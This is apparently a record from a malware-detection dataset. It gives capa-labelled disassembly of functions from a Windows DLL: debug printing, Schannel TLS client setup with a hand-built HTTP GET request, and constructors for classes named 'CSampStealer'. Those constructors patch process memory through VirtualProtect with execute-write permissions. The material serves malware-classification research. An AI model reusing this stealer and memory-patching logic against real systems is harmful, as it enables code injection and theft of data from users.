joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004cdf
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x100108ce], 0
push ebx
push esi
push edi
mov ebx, ecx
jne 0x10004d73
mov edi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strlen]
mov ebx, str.Initialize_class_first
push ebx
call edi
mov esi, eax
mov dword [esp], 0x1000dc18
call edi
add esi, 0x10
add eax, esi
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
push ebx
push edi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy]
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat]
push 0x1000dc78
push edi
call esi
push 0xa
lea eax, [ebp - 0x10]
push eax
push 0x1b
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__itoa]
push 0x1000dcc0
push edi
call esi
lea eax, [ebp - 0x10]
push eax
push edi
call esi
push 0x1000dcc4
push edi
call esi
add esp, 0x3c
push edi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
jmp 0x10004da3
mov ecx, dword [0x10010904]
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, dword [0x10010904]
mov edi, dword [eax + 0x4c]
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, dword [0x10010904]
lea esi, [eax + 0x58]
mov eax, dword [ecx]
call dword [eax + 8]
mov edx, dword [esi]
mov ecx, edi
push ebx
add edx, dword [eax]
call edx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000b214
leave
ret

Function at 0x10004db2
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x100108ce], 0
push ebx
push esi
push edi
mov dword [ebp - 0x14], edx
mov ebx, ecx
jne 0x10004e49
mov edi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strlen]
mov ebx, str.Initialize_class_first
push ebx
call edi
mov esi, eax
mov dword [esp], 0x1000dc18
call edi
add esi, 0x10
add eax, esi
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
push ebx
push edi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy]
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat]
push 0x1000dc78
push edi
call esi
push 0xa
lea eax, [ebp - 0x10]
push eax
push 0x21
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__itoa]
push 0x1000dcc0
push edi
call esi
lea eax, [ebp - 0x10]
push eax
push edi
call esi
push 0x1000dcc4
push edi
call esi
add esp, 0x3c
push edi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
jmp 0x10004e85
mov ecx, dword [0x10010904]
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, dword [0x10010904]
lea edi, [eax + 0x58]
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, dword [0x10010904]
push 0
push 0
push 0xa
push 1
push dword [ebp - 0x14]
lea esi, [eax + 0x24]
mov eax, dword [ecx]
push ebx
call dword [eax + 8]
mov edx, dword [edi]
add edx, dword [esi]
mov ecx, dword [eax + 0x50]
call edx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000b214
leave
ret
Function at 0x10004ee9
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x100108ce], 0
push ebx
push esi
push edi
mov bl, cl
jne 0x10004f80
mov edi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strlen]
mov ebx, str.Initialize_class_first
push ebx
call edi
mov esi, eax
mov dword [esp], 0x1000dc18
call edi
add esi, 0x10
add eax, esi
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
push ebx
push edi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy]
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat]
push 0x1000dc78
push edi
call esi
push 0xa
lea eax, [ebp - 0x10]
push eax
push 0x3e
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__itoa]
push 0x1000dcc0
push edi
call esi
lea eax, [ebp - 0x10]
push eax
push edi
call esi
push 0x1000dcc4
push edi
call esi
add esp, 0x3c
push edi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
jmp 0x1000500f
mov ecx, dword [0x10010904]
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, dword [0x10010904]
lea esi, [eax + 0x58]
mov eax, dword [ecx]
call dword [eax + 8]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp - 0x14]
push ecx
push 0x40
mov eax, dword [eax + 0x18]
add eax, dword [esi]
push 4
push eax
call edi
mov ecx, dword [0x10010904]
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, dword [0x10010904]
lea esi, [eax + 0x58]
mov eax, dword [ecx]
call dword [eax + 8]
test bl, bl
je 0x10004fda
mov ecx, dword [eax + 0x18]
mov eax, dword [esi]
mov dword [ecx + eax], 1
jmp 0x10004fe3
mov ecx, dword [esi]
mov eax, dword [eax + 0x18]
and dword [ecx + eax], 0
mov ecx, dword [0x10010904]
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, dword [0x10010904]
lea esi, [eax + 0x58]
mov eax, dword [ecx]
call dword [eax + 8]
lea ecx, [eax + 0x18]
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x14]
mov eax, dword [esi]
add eax, dword [ecx]
push 4
push eax
call edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000b214
leave
ret
Function at 0x1000501e
Capabilities:
Print debug messages

Disassembly:
push 0x128
mov eax, 0x1000c510
call fcn.1000c40f
mov esi, edx
mov edi, ecx
cmp byte [0x100108ce], 0
jne 0x100050ac
mov edi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strlen]
mov ebx, str.Initialize_class_first
push ebx
call edi
mov esi, eax
mov dword [esp], 0x1000dc18
call edi
add eax, 0x10
add eax, esi
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
push ebx
push edi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy]
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat]
push 0x1000dc78
push edi
call esi
push 0xa
lea eax, [ebp - 0x1c]
push eax
push 0x4d
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__itoa]
push 0x1000dcc0
push edi
call esi
lea eax, [ebp - 0x1c]
push eax
push edi
call esi
push 0x1000dcc4
push edi
call esi
add esp, 0x3c
push edi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push edi
jmp 0x10005156
push 0x114
xor ebx, ebx
lea eax, [ebp - 0x134]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
lea eax, [ebp - 0x123]
mov dword [ebp - 0x134], ebx
add esp, 0xc
mov dword [ebp - 0x130], 0x800
mov dword [ebp - 0x12c], ebx
mov dword [ebp - 0x128], eax
mov byte [ebp - 0x124], 1
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x134]
push edi
mov dword [ebp - 0x20], 0x3e
call fcn.10006cd4
push esi
lea ecx, [ebp - 0x134]
call fcn.10006d09
push dword [ebp + 8]
lea ecx, [ebp - 0x134]
call fcn.10006cd4
push ebx
lea ecx, [ebp - 0x134]
call fcn.10006d09
sub esp, 0x10
lea edx, [ebp - 0x134]
lea ecx, [ebp - 0x20]
call fcn.10004db2
add esp, 0x10
cmp byte [ebp - 0x124], bl
je 0x1000515d
cmp dword [ebp - 0x130], 0x800
jle 0x1000515d
push dword [ebp - 0x128]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
call fcn.1000c3fe
ret
Function at 0x100071c5
Capabilities:
Get remote cert context via schannel

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov dword [0x10010970], ecx
xor esi, esi
and dword [ebp - 0x1c], esi
lea ecx, [ebp - 0x18]
push edi
xor ebx, ebx
mov dword [0x1001096c], edx
xor edi, edi
mov dword [ebp - 0x20], ebx
call fcn.100072fb
test eax, eax
jne 0x100072a8
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0x18]
mov ebx, dword [ebp + 8]
inc esi
mov dword [0x10010d74], eax
mov eax, dword [ebp + 0x10]
mov dword [0x10010d7c], eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x10]
push eax
push ecx
mov ecx, ebx
call fcn.1000748c
add esp, 0xc
test eax, eax
jne 0x100072a5
lea eax, [ebp - 0x1c]
mov edi, esi
push eax
push 0x53
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.Secur32.dll_QueryContextAttributesA]
test eax, eax
jne 0x100072a5
mov ecx, dword [ebp - 0x1c]
call fcn.10007cb3
push ecx
mov ecx, dword [ebp - 0x1c]
call fcn.10007d91
pop ecx
push dword [ebp - 0x1c]
call dword [sym.imp.CRYPT32.dll_CertFreeCertificateContext]
and dword [ebp - 0x1c], 0
lea eax, [ebp - 0x10]
push ecx
push eax
mov ecx, ebx
call fcn.100077cb
pop ecx
pop ecx
test eax, eax
jne 0x100072a5
push ecx
push ecx
lea eax, [ebp - 0x10]
mov ecx, ebx
push eax
lea edx, [ebp - 0x18]
call fcn.10007909
add esp, 0xc
test eax, eax
jne 0x100072a5
lea eax, [ebp - 0x10]
mov ecx, ebx
push eax
lea edx, [ebp - 0x18]
call fcn.100073b0
pop ecx
test eax, eax
jne 0x100072a5
xor edi, edi
mov ebx, esi
jmp 0x100072a8
mov ebx, dword [ebp - 0x20]
cmp dword [ebp - 0x1c], 0
je 0x100072bb
push dword [ebp - 0x1c]
call dword [sym.imp.CRYPT32.dll_CertFreeCertificateContext]
and dword [ebp - 0x1c], 0
test edi, edi
je 0x100072c9
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.Secur32.dll_DeleteSecurityContext]
test esi, esi
je 0x100072d7
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.Secur32.dll_FreeCredentialsHandle]
mov ecx, dword [0x100109ac]
test ecx, ecx
je 0x100072ea
push 0
push ecx
call dword [sym.imp.CRYPT32.dll_CertCloseStore]
mov ecx, dword [ebp - 8]
mov al, bl
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000b214
leave
ret
Function at 0x100072fb
Capabilities:
Get client handle via schannel
Get outbound credentials handle via credssp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor edi, edi
mov esi, ecx
push 0x1000de40
push edi
mov dword [ebp - 0x10], edi
call dword [sym.imp.CRYPT32.dll_CertOpenSystemStoreA]
mov dword [0x100109ac], eax
test eax, eax
jne 0x10007330
mov eax, 0x8009030e
jmp 0x100073a2
push ebx
push 0x38
push edi
mov ebx, 0x10010974
push ebx
call dword [sym.imp.VCRUNTIME140.dll_memset]
add esp, 0xc
mov dword [0x10010974], 4
cmp dword [ebp - 0x10], edi
je 0x10007364
lea eax, [ebp - 0x10]
mov dword [0x10010978], 1
mov dword [0x1001097c], eax
lea eax, [ebp - 0xc]
mov dword [0x10010994], 0xa80
push eax
push esi
push edi
push edi
push ebx
push edi
push 2
push str.Microsoft_Unified_Security_Protocol_Provider
push edi
mov dword [0x100109a4], 0x400018
call dword [sym.imp.Secur32.dll_AcquireCredentialsHandleA]
mov esi, eax
pop ebx
cmp dword [ebp - 0x10], edi
je 0x100073a0
push dword [ebp - 0x10]
call dword [sym.imp.CRYPT32.dll_CertFreeCertificateContext]
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1000b214
leave
ret
Function at 0x100077cb
Capabilities:
Encrypt data via sspi
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push edi
mov edi, dword [0x1001096c]
mov dword [ebp - 0x5c], ecx
lea ecx, [ebp - 0x48]
push ecx
push 4
push eax
mov dword [ebp - 0x58], eax
call dword [sym.imp.Secur32.dll_QueryContextAttributesA]
test eax, eax
jne 0x100078fc
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x48]
push ebx
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov ebx, eax
pop ecx
test ebx, ebx
jne 0x10007822
mov eax, 0x80090304
jmp 0x100078fb
push esi
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strlen]
test edi, edi
je 0x1000784a
push edi
call esi
pop ecx
cmp eax, 1
jbe 0x1000784a
push edi
call esi
pop ecx
cmp byte [eax + edi - 1], 0x2f
jne 0x1000784a
push edi
call esi
pop ecx
mov byte [eax + edi - 1], 0
push dword [0x10010970]
mov esi, dword [ebp - 0x48]
push edi
add esi, ebx
push str.GET__s_HTTP_1.0_r_nHost:__s_r_nUser_Agent:_Mozilla_5.0_r_nAccept:__r_n_r_n
push esi
call fcn.1000b193
push esi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strlen]
mov ecx, dword [ebp - 0x48]
add esp, 0x14
mov dword [ebp - 0x28], eax
add eax, esi
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x34]
mov dword [ebp - 0x34], ecx
xor ecx, ecx
push ecx
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x54]
push eax
mov dword [ebp - 0x20], esi
mov esi, dword [ebp - 0x58]
push ecx
push esi
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x18], 6
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x50], 4
call dword [sym.imp.Secur32.dll_EncryptMessage]
test eax, eax
js 0x100078fa
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x34]
push 0
push eax
push ebx
push dword [ebp - 0x5c]
call dword [0x10010d74]
cmp eax, 0xffffffff
je 0x100078ee
test eax, eax
je 0x100078ee
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
xor eax, eax
jmp 0x100078fa
push esi
call dword [sym.imp.Secur32.dll_DeleteSecurityContext]
mov eax, 0x80090304
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.1000b214
leave
ret
Function at 0x10007f22
Capabilities:
Get client handle via schannel
Get inbound credentials handle via credssp
Get outbound credentials handle via credssp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x24]
mov esi, ecx
push eax
push 0x59
push edx
call dword [sym.imp.Secur32.dll_QueryContextAttributesA]
test eax, eax
jne 0x10007ff7
push 0x20
pop edi
push edi
xor ebx, ebx
lea eax, [ebp - 0x44]
push ebx
push eax
call dword [sym.imp.VCRUNTIME140.dll_memset]
mov eax, dword [ebp - 0x20]
add esp, 0xc
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x44], edi
mov edi, ebx
mov dword [ebp - 0x40], str.1.3.6.1.5.5.7.3.2
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x30], eax
push edi
lea eax, [ebp - 0x44]
push eax
push 1
push ebx
push 1
push dword [0x100109ac]
call dword [sym.imp.CRYPT32.dll_CertFindChainInStore]
mov edi, eax
test edi, edi
je 0x10007ff7
mov ecx, dword [edi + 0x10]
lea eax, [ebp - 0x1c]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x10]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [0x1001097c], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x1c], ecx
push eax
push ebx
push ebx
push 0x10010974
push ebx
push 2
push str.Microsoft_Unified_Security_Protocol_Provider
push ebx
mov dword [0x10010974], 4
mov dword [0x10010978], 1
call dword [sym.imp.Secur32.dll_AcquireCredentialsHandleA]
test eax, eax
jne 0x10007f7b
push esi
call dword [sym.imp.Secur32.dll_FreeCredentialsHandle]
mov eax, dword [ebp - 0xc]
mov dword [esi], eax
mov eax, dword [ebp - 8]
mov dword [esi + 4], eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000b214
leave
ret
Function at 0x100086fb
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movzx eax, word [0x1001011c]
push ebx
mov ebx, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [0x1001092c]
mov ecx, 0x33ee0
push esi
mov esi, dword [0x10010968]
mov dword [ebx], vtable.CSampStealerR3.0
mov dword [ebp - 4], eax
mov eax, dword [0x10010950]
push edi
mov edi, dword [sym.imp.VCRUNTIME140.dll___RTtypeid]
mov dword [ebp - 0x10], eax
mov eax, dword [0x10010964]
push ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], eax
mov dword [esi], 0x69190
mov dword [esi + 4], 0x69291
mov dword [esi + 8], 0x69298
mov dword [esi + 0xc], 0x26e8cc
mov dword [esi + 0x10], 0x141a78
mov dword [esi + 0x14], 0x26e898
mov dword [esi + 0x18], 0x6ff17
mov dword [esi + 0x1c], 0xf7b0
mov dword [esi + 0x20], 0xf7b6
mov dword [esi + 0x24], ecx
mov dword [esi + 0x28], ecx
mov dword [esi + 0x2c], 0x33ee6
mov dword [esi + 0x30], 0x8ba0
mov dword [esi + 0x34], 0x53b90
mov dword [esi + 0x38], 0x121914
mov dword [esi + 0x58], eax
mov dword [esi + 0x3c], 0x33bd3
mov dword [esi + 0x40], 0x33bd8
call edi
add eax, 4
mov dword [esp], 0x10010630
push eax
call dword [sym.imp.VCRUNTIME140.dll___std_type_info_name]
push str.class_CSampStealerR3
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcmp]
add esp, 0x10
test eax, eax
je 0x100087fd
push 0x10
push ebx
call edi
pop ecx
mov ecx, eax
call fcn.10008006
push eax
push str.RTTI_error_occurred_while_initializing_CSampStealerR3_object
xor edi, edi
push edi
call dword [sym.imp.USER32.dll_MessageBoxA]
push edi
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
mov ebx, dword [ebp - 8]
xor edi, edi
cmp dword [esi + 0x44], edi
je 0x10008816
cmp dword [esi + 0x48], edi
je 0x10008816
cmp dword [esi + 0x4c], edi
je 0x10008816
cmp dword [esi + 0x54], edi
jne 0x10008847
mov eax, dword [ebx + 0x26e8dc]
mov dword [esi + 0x44], eax
mov eax, dword [ebx + 0x26e898]
mov dword [esi + 0x48], eax
mov eax, dword [ebx + 0x26e8cc]
mov dword [esi + 0x4c], eax
mov eax, dword [ebx + 0x121914]
push 0xfa
mov dword [esi + 0x54], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10008802
mov ebx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
mov ecx, dword [0x10010928]
mov dword [ebx + 8], eax
mov eax, dword [ebp - 4]
mov dword [ebx + 4], esi
mov dword [ebx + 0xc], eax
test ecx, ecx
je 0x1000886f
cmp dword [0x10010120], 0xe3296d
jne 0x10008889
mov eax, dword [esi + 0x44]
lea ecx, [eax + 0x131]
mov eax, dword [eax + 0x235]
mov dword [0x10010928], ecx
mov dword [0x10010120], eax
push ecx
call fcn.100099ac
mov ecx, dword [ebp - 4]
push edi
push 0x40
push 0x3e2
mov byte [ecx + 0x128], al
push dword [esi + 0x44]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x14]
pop edi
mov word [ebx + 0x20], ax
mov eax, ebx
pop esi
pop ebx
leave
ret 0x14
Function at 0x10009080
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movzx eax, word [0x1001011c]
push ebx
mov ebx, dword [sym.imp.VCRUNTIME140.dll___RTtypeid]
push esi
mov esi, dword [0x10010968]
mov dword [ebp - 0x14], eax
mov eax, dword [0x1001092c]
push edi
mov edi, ecx
mov dword [ebp - 0x10], eax
mov eax, dword [0x10010950]
mov ecx, 0x34620
mov dword [ebp - 0xc], eax
mov eax, dword [0x10010964]
mov dword [edi], vtable.CSampStealerR4_2.0
and dword [esi + 0x3c], 0
and dword [esi + 0x40], 0
push edi
mov dword [ebp - 8], edi
mov dword [ebp - 4], eax
mov dword [esi], 0x69900
mov dword [esi + 4], 0x69a01
mov dword [esi + 8], 0x69a08
mov dword [esi + 0xc], 0x26e9fc
mov dword [esi + 0x10], 0x141ba0
mov dword [esi + 0x14], 0x26e9c8
mov dword [esi + 0x18], 0x70667
mov dword [esi + 0x1c], 0xfaf0
mov dword [esi + 0x20], 0xfaf6
mov dword [esi + 0x24], ecx
mov dword [esi + 0x28], ecx
mov dword [esi + 0x2c], 0x34626
mov dword [esi + 0x30], 0x8f10
mov dword [esi + 0x34], 0x542d0
mov dword [esi + 0x38], 0x121a3c
mov dword [esi + 0x58], eax
call ebx
add eax, 4
mov dword [esp], 0x10010630
push eax
call dword [sym.imp.VCRUNTIME140.dll___std_type_info_name]
push str.class_CSampStealerR4_2
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcmp]
add esp, 0x10
test eax, eax
je 0x1000917c
push 0x10
push edi
call ebx
pop ecx
mov ecx, eax
call fcn.10008006
push eax
push str.RTTI_error_occurred_while_initializing_CSampStealerR4_2_object
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
mov edi, dword [ebp - 4]
xor eax, eax
cmp dword [esi + 0x44], eax
je 0x10009195
cmp dword [esi + 0x48], eax
je 0x10009195
cmp dword [esi + 0x4c], eax
je 0x10009195
cmp dword [esi + 0x54], eax
jne 0x100091c6
mov eax, dword [edi + 0x26ea0c]
mov dword [esi + 0x44], eax
mov eax, dword [edi + 0x26e9c8]
mov dword [esi + 0x48], eax
mov eax, dword [edi + 0x26e9fc]
mov dword [esi + 0x4c], eax
mov eax, dword [edi + 0x121a3c]
push 0xfa
mov dword [esi + 0x54], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000917f
mov edi, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
push dword [0x10010928]
mov ebx, dword [ebp - 0x10]
mov dword [edi + 4], esi
mov dword [edi + 8], eax
mov dword [edi + 0xc], ebx
call fcn.100099ac
push 0
push 0x40
push 0x3e2
mov byte [ebx + 0x128], al
push dword [esi + 0x44]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x14]
mov word [edi + 0x1c], ax
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0x14
Function at 0x100093cb
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movzx eax, word [0x1001011c]
push ebx
mov ebx, dword [sym.imp.VCRUNTIME140.dll___RTtypeid]
push esi
mov esi, dword [0x10010968]
mov dword [ebp - 0x14], eax
mov eax, dword [0x1001092c]
push edi
mov edi, ecx
mov dword [ebp - 0x10], eax
mov eax, dword [0x10010950]
mov ecx, 0x34620
mov dword [ebp - 0xc], eax
mov eax, dword [0x10010964]
mov dword [edi], vtable.CSampStealerR5.0
and dword [esi + 0x3c], 0
and dword [esi + 0x40], 0
push edi
mov dword [ebp - 8], edi
mov dword [ebp - 4], eax
mov dword [esi], 0x69900
mov dword [esi + 4], 0x69a01
mov dword [esi + 8], 0x69a08
mov dword [esi + 0xc], 0x26eb84
mov dword [esi + 0x10], 0x141d28
mov dword [esi + 0x14], 0x26eb50
mov dword [esi + 0x18], 0x70604
mov dword [esi + 0x1c], 0xfaf0
mov dword [esi + 0x20], 0xfaf6
mov dword [esi + 0x24], ecx
mov dword [esi + 0x28], ecx
mov dword [esi + 0x2c], 0x34626
mov dword [esi + 0x30], 0x8f10
mov dword [esi + 0x34], 0x542d0
mov dword [esi + 0x38], 0x121a3c
mov dword [esi + 0x58], eax
call ebx
add eax, 4
mov dword [esp], 0x10010630
push eax
call dword [sym.imp.VCRUNTIME140.dll___std_type_info_name]
push str.class_CSampStealerR5
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcmp]
add esp, 0x10
test eax, eax
je 0x100094c7
push 0x10
push edi
call ebx
pop ecx
mov ecx, eax
call fcn.10008006
push eax
push str.RTTI_error_occurred_while_initializing_CSampStealerR5_object
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
mov edi, dword [ebp - 4]
xor eax, eax
cmp dword [esi + 0x44], eax
je 0x100094e0
cmp dword [esi + 0x48], eax
je 0x100094e0
cmp dword [esi + 0x4c], eax
je 0x100094e0
cmp dword [esi + 0x54], eax
jne 0x10009511
mov eax, dword [edi + 0x26eb94]
mov dword [esi + 0x44], eax
mov eax, dword [edi + 0x26eb50]
mov dword [esi + 0x48], eax
mov eax, dword [edi + 0x26eb84]
mov dword [esi + 0x4c], eax
mov eax, dword [edi + 0x121a3c]
push 0xfa
mov dword [esi + 0x54], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100094ca
mov edi, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
push dword [0x10010928]
mov ebx, dword [ebp - 0x10]
mov dword [edi + 4], esi
mov dword [edi + 8], eax
mov dword [edi + 0xc], ebx
call fcn.100099ac
push 0
push 0x40
push 0x3e2
mov byte [ebx + 0x128], al
push dword [esi + 0x44]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x14]
mov word [edi + 0x1c], ax
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0x14